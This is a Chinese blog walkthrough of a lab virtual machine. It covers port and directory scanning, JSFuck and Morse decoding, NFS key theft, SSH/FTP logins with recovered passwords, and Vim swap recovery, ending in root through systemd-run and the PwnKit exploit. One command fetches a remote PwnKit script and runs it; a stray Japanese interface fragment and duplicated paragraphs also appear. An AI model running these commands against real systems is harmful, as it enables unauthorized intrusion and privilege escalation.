李乐意的博客

tags:
@ 01/01/0001

端口扫描

nmap --min-rate 10000 -sn 192.168.30.0/24
nmap --min-rate 10000 -p- -Pn 192.168.30.144
nmap --min-rate 10000 -sU -p- -oA scan/udp 192.168.30.144
nmap --min-rate 10000 -sT -sV -sC -O -p21,80,111,2049,7822,35313,40377,46457,55941 -Pn -oA scan/detail 192.168.30.144
nmap --min-rate 10000 -script=vuln -oA scan/vuln 192.168.30.144

21是ftp服务。

7822端口是ssh服务。

udp可以扫出来NFS服务。

服务探测

HTTP服务探测

登录页。查看源代码也没有特殊信息,文字描述大概就是我取名为m,你取名为n。

image-20250926173811039

目录遍历。

gobuster dir -u http://192.168.30.142 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,php,txt -o dir/dirscan
/index.html           (Status: 200) [Size: 1964]
/images               (Status: 301) [Size: 317] [--> http://192.168.30.144/images/]
/manual               (Status: 301) [Size: 317] [--> http://192.168.30.144/manual/]
/javascript           (Status: 301) [Size: 321] [--> http://192.168.30.144/javascript/]
/hits.txt             (Status: 200) [Size: 44]
/backups              (Status: 200) [Size: 6301]
/backups.html         (Status: 200) [Size: 325]
/mysite               (Status: 301) [Size: 317] [--> http://192.168.30.144/mysite/]
/server-status        (Status: 403) [Size: 302]

/index.html首页源代码。存在注释部分。目前不知道是什么内容。image-20250926174434751

backups和backups.html是所谓的视频页面和视频资源。看了file、exiftool。是无聊的内容。

/mysite下面,值得注意的是bootstrap.min.cs和register.html

image-20250926155832996

bootstrap.min.cs代码十分明显,是JSFUCK加密。直接在该页面通过控制台计算b1+b2+b3+b4+b5+b6+b7+b8+b9+b10的值,然后复制粘贴,https://jsfuck.com/中在线解密。

image-20250926174920575

image-20250926175142372

这里获取一组密码。TryToGuessThisNorris@2k19

You're smart enough to understand me. Here's your secret, TryToGuessThisNorris@2k19

register.html 登录注册页面。

image-20250926174546915

NFS探测

先看一下共享目录。这里暴露了morris用户名,和前面源代码norris对应,也刚好就是我名m你名n的意思。

showmount -e 192.168.30.144
Export list for 192.168.30.144:
/home/morris *
# *即表示任何用户

接下来挂在看内容。

sudo mount -t nfs 192.168.30.144:/home/mirros ./tmp

image-20250926173458077

这下面有相当多的内容。看一下详细结构。

tree -a tmp

发现.ssh下有id_rsa私钥。这里要切记上边7822端口是SSH服务。

有了id_rsa私钥,用户名morris和norris。

SSH服务探测

ssh -i id_rsa morris@192.168.30.144 -7822
ssh -i id_rsa norris@192.168.30.144 -7822

发现norris可以尝试登录,密码TryToGuessThisNorris@2k19。登录成功

看一下当前目录。

image-20250926175617462

FTP探测

ftp 192.168.30.144

先尝试匿名登录。anonymousftp。登录失败。

使用norris登录,密码TryToGuessThisNorris@2k19登录成功。

提权

sudo -l # 无价值
find / -perm -u=s -type f 2>/dev/null

image-20250926175810368

尝试提权。结果提升没有curl命令。

sh -c "$(curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit.sh)"

看ftp目录下,存在files目录。

image-20250926180100900

通过FTP服务下载到本地。

连接到FTP服务器。 几乎在所有情况下,当你下载或上传文件时,都应该使用 Binary 模式

  • 对于文本文件: 在 Binary 模式下传输文本文件是安全的,它们不会被破坏,只是不会进行换行符转换。
  • 对于所有其他文件: 必须使用 Binary 模式,否则文件会被损坏。

因此,在开始任何 FTP 文件传输之前,养成先输入 binary 命令的习惯,可以避免绝大多数文件损坏问题。

# 先输入
binary

image-20250926180513441

提升200,转换到Binary传输模式。

接下来就可以安全的使用put或get命令。使用get依次下载这四个文件。

get <file_name>

看m.gif.bak。暂无特殊信息。

file m.gif.bak
exiftool m.gif.bak

image-20250926181135987

看game.jpg.bak,存在特殊信息。.-这些明显是摩斯密码形式。

game.jpg.bak: JPEG image data, JFIF standard 1.01, resolution (DPI), density 192x192, segment length 16, Exif Standard: [TIFF image data, big-endian, direntries=6, orientation=upper-left], comment: ".... . -.-- ....... -. --- .-. .-. .. ... --..-- ....... -.-- --- ..- .----. ...- . ....... -- .- -.. . ....... - .... .. ... ", progressive, precision 8, 712x350, components 3

使用在线工具解码。https://www.lddgo.net/encrypt/morse

HEY%u0NORRIS,%u0YOU’VE%u0MADE%u0THIS

解码为:HEY NORRISM, YOU’VE MADE THIS。是一段鼓励的话。

exiftool game.jpg.bak

image-20250926181742245

comment中确实存在摩斯密码。继续解码。

.... . -.-- ....... -. --- .-. .-. .. ... --..-- ....... -.-- --- ..- .----. ...- . ....... -- .- -.. . ....... - .... .. ... ....... ..-. .- .-. .-.-.- ....... ..-. .- .-. ....... ..-. .- .-. ....... ..-. .-. --- -- ....... .... . .- ...- . -. ....... .-- .- -. -. .- ....... ... . . ....... .... . .-.. .-.. ....... -. --- .-- ..--.. ....... .... .- .... .- ....... -.-- --- ..- ....... ... ..- .-. . .-.. -.-- ....... -- .. ... ... . -.. ....... -- . --..-- ....... -.. .. -.. -. .----. - ....... -.-- --- ..- ..--.. ....... --- .... ....... -.. .- -- -. ....... -- -.-- ....... -... .- - - . .-. -.-- ....... .. ... ....... .- -... --- ..- - ....... - --- ....... -.. .. . ....... .- -. -.. ....... .. ....... .- -- ....... ..- -. .- -... .-.. . ....... - --- ....... ..-. .. -. -.. ....... -- -.-- ....... -.-. .... .- .-. --. . .-. ....... ... --- ....... --.- ..- .. -.-. -.- .-.. -.-- ....... .-.. . .- ...- .. -. --. ....... .- ....... .... .. -. - ....... .. -. ....... .... . .-. . ....... -... . ..-. --- .-. . ....... - .... .. ... ....... ... -.-- ... - . -- ....... ... .... ..- - ... ....... -.. --- .-- -. ....... .- ..- - --- -- .- - .. -.-. .- .-.. .-.. -.-- .-.-.- ....... .. ....... .- -- ....... ... .- ...- .. -. --. ....... - .... . ....... --. .- - . .-- .- -.-- ....... - --- ....... -- -.-- ....... -.. ..- -. --. . --- -. ....... .. -. ....... .- ....... .----. ... . -.-. .-. . - ..-. .. .-.. . .----. ....... .-- .... .. -.-. .... ....... .. ... ....... .--. ..- -... .-.. .. -.-. .-.. -.-- ....... .- -.-. -.-. . ... ... .. -... .-.. . .-.-.-

HEY NORRISM, YOU’VE MADE THIS FAR. FAR FAR FROM HEAVEN. WANNA SEE HELL NOW? HAHA YOU SURELY MISSED ME, DIDN’T YOU? OH DAMN MY BATTERY IS ABOUT TO DIE AND I AM UNABLE TO FIND MY CHARGER SO QUICKLY LEAVING A HINT IN HERE BEFORE THIS SYSTEM SHUTS DOWN AUTOMATICALLY. I AM SAVING THE GATEWAY TO MY DUNGEON IN A ‘SECRETFILE’ WHICH IS PUBLICLY ACCESSIBLE.

“嘿,诺里斯姆(Norrism),你已经走到这一步了。离天堂遥遥无期。想看看地狱吗?哈哈,你肯定很想我吧,不是吗?哦,该死,我的电池快要耗尽了,我找不到我的充电器,所以我得赶紧在这里留下一条线索,趁着这个系统自动关闭之前。我将通往我的地牢(Dungeon)的网关信息保存在一个名为 ‘SECRETFILE’ 的文件中,它是公开可访问的。”

这里是有线索的。不过我们先把剩下两个文件看完再回来。

image-20250926182532644

backups.bak是个ISO Media文件。 是指 ISO 基础媒体文件格式。这是一个非常重要的文件容器标准,它定义了如何存储多媒体数据。

最常见的 ISO Media 文件格式包括:

  • MP4 (.mp4):最常见的视频和音频格式。
  • MOV (.mov):Apple 的 QuickTime 电影文件格式。
  • 3GP 或 M4V 等其他多媒体文件。

因此,尽管文件名是 .bak,系统或文件识别工具(如 Linux 的 file 命令)通过检查文件的内部结构(文件头)发现它的实际内容是一个多媒体容器

通过exiftool该文件是个mp4文件。

媒体流文件查看

使用**ffprobe** 是最精确、最常用的媒体信息查看工具(它是 FFmpeg 套件的一部分)。

sudo apt install ffmpeg
ffprobe backups.bak

输出内容: 它会输出文件中所有流(视频流、音频流等)的详细信息,包括:

  • 容器格式 (Format)
  • 视频编码器 (Video Codec)
  • 分辨率 (Resolution, 如 1920×1080)
  • 帧率 (Frame Rate)
  • 时长 (Duration)

image-20250926183637807

没特殊信息下一个。

hits.txt.bak文件,泄露了一个路径。这个应该是作者的主页推荐。

hits.txt.bak
https://pastebin.com/ZV1MLSEE  

image-20250926183905766

回到

“嘿,诺里斯姆(Norrism),你已经走到这一步了。离天堂遥遥无期。想看看地狱吗?哈哈,你肯定很想我吧,不是吗?哦,该死,我的电池快要耗尽了,我找不到我的充电器,所以我得赶紧在这里留下一条线索,趁着这个系统自动关闭之前。我将通往我的地牢(Dungeon)的网关信息保存在一个名为 ‘SECRETFILE’ 的文件中,它是公开可访问的。”

查找该文件。

find / -iname secertfile  2>/dev/null
find / -iname "*secretfile*" 2>/dev/null
cat /var/www/html/secretfile

I see you're here for the password. Holy Moly! Battery is dying !! Mentioning below for reference.

cat /var/www/html/.secretfile.swp

image-20250926185227983

读取vim断电临时文件

根据secretfile中的内容,提示我们还没说完就断电了。而刚好同目录下存在.secretfile.swp 文件,这是 Vim 或 Vi 编辑器在编辑文件时自动创建的临时交换文件 (Swap File)

因为在/var/www/html下,我们直接wget下载。

wget http://192.168.30.144/.secretfile.swp
cat .secretfile.swp

image-20250926192652201

展示有点问题,这是因为断电文件。使用vim的-r参数,该参数用户恢复临时会话。

vim -r .secretfile.swp

image-20250926192839543

image-20250926192847149

这样看起来就好多了。

登录到morris用户

获取了一段凭证。blehguessme090,登录morris用户成功。

image-20250926193034446

提权

image-20250927132228915

这两个用户没有特别明显的提权倾向,两个都可以。

这里用norris因为在sudo组。

image-20250927132418776

提权依旧回到这里,我们上边用到CVE-2021-4034提权没成功是因为没有curl命令。

Polkit简介

Polkit(PolicyKit 的简称)是 Linux 和 Unix-like 操作系统中一个至关重要的权限管理框架。它的主要作用是为非特权程序与特权系统服务之间的通信定义和处理授权策略。

简单来说,Polkit 就像 Linux 系统中一个更精细、更现代化的“门卫”,它决定了一个普通用户或非特权进程是否可以执行特定的、需要提升权限的操作,例如:

  • 挂载或卸载外部驱动器。
  • 管理系统服务(启动、停止)。
  • 更改系统时间、网络配置。
  • 使用需要管理员权限的图形化工具(如 GParted)。

于 Polkit 中的 pkexec 程序是以 root 权限运行的,它成为了攻击者寻求本地权限提升 (Local Privilege Escalation, LPE) 的主要目标。历史上最著名且影响最广泛的 Polkit 漏洞是 PwnKit

  • クエリが正常に完了しました

アプリを使用せずにもう一度試す

Polkit(PolicyKit 的简称)是 Linux 和 Unix-like 操作系统中一个至关重要的权限管理框架。它的主要作用是为非特权程序与特权系统服务之间的通信定义和处理授权策略。

简单来说,Polkit 就像 Linux 系统中一个更精细、更现代化的“门卫”,它决定了一个普通用户或非特权进程是否可以执行特定的、需要提升权限的操作,例如:

  • 挂载或卸载外部驱动器。
  • 管理系统服务(启动、停止)。
  • 更改系统时间、网络配置。
  • 使用需要管理员权限的图形化工具(如 GParted)。

Polkit 的工作原理

Polkit 不像传统的 sudo 那样直接将用户提升为完全的 root 用户。相反,它采用的是策略驱动的细粒度授权

  1. 策略守护进程 (polkitd): 这是核心服务,它一直在后台以特权身份运行。
  2. 操作 (Actions): 每个需要授权的任务都有一个唯一的标识符(例如 org.freedesktop.login1.reboot 用于重启操作)。这些操作及其默认权限在 XML 策略文件(位于 /usr/share/polkit-1/actions/)中定义。
  3. 授权规则 (Rules): 系统管理员可以使用 JavaScript 规则文件(位于 /etc/polkit-1/rules.d/)来覆盖默认策略,定义更复杂的授权逻辑,例如“只有属于 sysadmin 组的用户才能在没有密码的情况下重启”。
  4. 执行器 (pkexec): 这是 Polkit 框架中的一个 SUID-root(Set User ID to root)程序,它允许授权用户以其他用户(通常是 root)的身份执行命令,类似于 sudo,但它在执行前会严格遵循 Polkit 的策略检查。当您在图形界面中执行一个需要权限的操作时弹出的密码框,就是 Polkit 的认证代理在工作。

Polkit 常见的漏洞利用

由于 Polkit 中的 pkexec 程序是以 root 权限运行的,它成为了攻击者寻求本地权限提升 (Local Privilege Escalation, LPE) 的主要目标。历史上最著名且影响最广泛的 Polkit 漏洞是 PwnKit

  • PwnKit (CVE-2021-4034)

suid polkit提权

image-20250927145210315

重点关注这个/usr/lib/policykit-1/polkit-agent-helper-1。这是Polkit的一个关建组件。

image-20250927145350591

polkit是linux系统中针对文件权限管理的一套机制,而helper相当于是充当一个介于操作者与被操作文件的一个中介,会通过这个helper去调用执行文件。因此如果我们能够借助helper的高权限,以root的身份调用bash,即可实现提权。可以通过如下的命令实现触发polkit-agent-helper-1,并借用polkit-agent-helper-1的root高权限启动bash进行提权。

可以使用systemd-run -r启动伪终端,此时会通过polkit-agent-helper-1启动,而polkit-agent-helper-1具有高权限,因此就有可能实现提权。

systemd-run 命令用于将一个命令作为一个瞬时(transient)systemd 服务或作用域来运行。当一个非特权用户运行 systemd-run 时,Polkit 就会介入并检查该用户是否有权执行此操作。

提权的关键点在于 Polkit 的默认策略Systemd 的配置

在许多 Linux 发行版中,Polkit 对某些 systemd-run 操作的默认授权规则可能过于宽松。当运行 systemd-run 时,它会触发 Polkit 中的 它会触发 Polkit 中的 org.freedesktop.systemd1.manage-units 或类似的操作,包括这个polkit-agent-helper-1具有s权限的组件。

systemd-run -t /bin/bash

image-20250927145530915

提权成功。

CVE-2021-4034

curl、gitclone都用不了,就先在kali中下载,然后开启web服务。

# kali中
git clone https://github.com/ly4k/PwnKit.git

python3 -m http.server 443

目标机中。

wget -r http://192.168.30.131:443/PwnKit

chmod +x ./PwnKit
./PwnKit

至此提权成功。

image-20250927151133284

image-20250927151154804

Flag

cat /home/norris/user.txt     
cat /root/root.txt